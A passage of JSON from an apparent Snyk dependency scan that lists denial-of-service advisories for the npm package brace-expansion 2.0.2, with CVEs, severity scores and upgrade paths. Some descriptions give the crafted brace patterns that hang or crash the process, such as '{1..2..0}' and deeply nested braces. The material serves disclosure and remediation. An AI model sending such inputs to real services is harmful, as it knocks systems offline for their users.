"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
